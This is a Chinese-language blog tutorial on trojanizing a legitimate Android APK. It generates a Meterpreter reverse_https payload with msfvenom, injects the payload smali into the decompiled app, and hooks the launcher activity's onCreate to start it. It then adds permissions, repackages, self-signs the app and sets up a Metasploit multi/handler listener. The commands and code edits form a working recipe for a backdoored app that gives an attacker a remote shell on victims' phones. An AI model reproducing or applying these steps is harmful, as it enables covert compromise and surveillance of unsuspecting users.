AD

手工制作恶意APK文件

测试准备条件


安装各类库文件


apt-get install lib32stdc++6 lib32ncurses5 lib32z1


 安装APKTool

准备合法的APK应用




简要制作流程说明:



  1. Meterpreter payload

  2. 反编译payload和合法APK文件

  3. 将payload文件插入APK文件

  4. hook合法APK文件的activity方法

  5. 向AndroidManifest.xml注入代码,给paylaod赋予权限

  6. 重打包APK文件

  7. 给APK文件签名


 

STEP 1生成payload


msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Addr] LPORT=[In_Port] -o meterpreter.apk

Payload_Type有以下三种选项:

  • reverse_tcp

  • reverse_http

  • reverse_https


本文以reverse_https为例

IP_Addr 为目标反向连接的IP地址,In_Port为目标反向连接的端口。

 

完成后将会生成一个meterpreter.apk文件。

STEP 2 反编译APK文件


使用APKTOOL将APK文件反编译为.smali文件,

apktool d -f -o payload /root/meterpreter.apk

 

apktool d -f -o original /root/[Original_APK_Name]

 

恶意APK文件反编译结果在/root/payload目录,合法APK文件反编译结果在“/root/original”目录。

 

STEP 3注入payload


新建一个“/root/original/smali/com/metasploit/stage”目录,切换至“/root/payload/smali/com/metasploit/stage”目录,将payload APK文件(名字中包括payload字样)的.smali文件拷贝到新建的目录。

STEP 4 hook合法apk的.smali文件



  1. 找到APK文件初始化时调用的activity。


打开“/root/original”目录下的AndroidManifest.xml文件,查找一个包含以下信息的<activity>:

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

并且查看该<activity>是否包含“android:name”属性。

 

  1. 修改找到的<activity>的.smali源代码。


/root/original/smali/[ $android:name$]

 

在.smali源代码中查找如下内容:

;->onCreate(Landroid/os/Bundle;)V

然后在该行下面插入新的一行,输入以下内容:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V


 

STEP 5:为payload申请应用权限


因为将payload插入到合法APK文件后,payload会比原来的APK文件需要更多的权限,所以必须为payload申请对应的权限,否则payload将不能正常工作。

APK文件所需要的权限列在AndroidManifest文件中,以<uses-permission>标签申请。将payload文件的AndroidManifest文件中的内容拷贝至合法APK的AndroidManifest文件中,并注意确保没有重复。

 

STEP 6重新打包APK文件


使用APKTOOL,将包含payload代码的合法APK文件进行打包,会生成在“/root/original/dist”目录下。

apktool b /root/original

 

STEP 7对制作好的APK文件进行签名


android应用要想可以被正常安装,该APK文件必须有正常的签名。但是APK文件的签名并不强制必须是合法的签名机构派发,所以现在很多APK文件都采取自签名的签名方式。

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA [backdoor_apk_path] androiddebugkey

 

STEP 8 设置监听


在msfconsole下监听:

use multi/handler

set PAYLOAD android/meterpreter/reverse_https

set LHOST 8.8.8.8

set LPORT 8899

exploit

 

 

其他疑难排解


1.      debug.keystore文件无效/不工作


keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

2.      某些合法APK文件无法正常注入


更换其他APK文件,某些APK文件采取了安全措施,导致注入的代码无法工作。

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce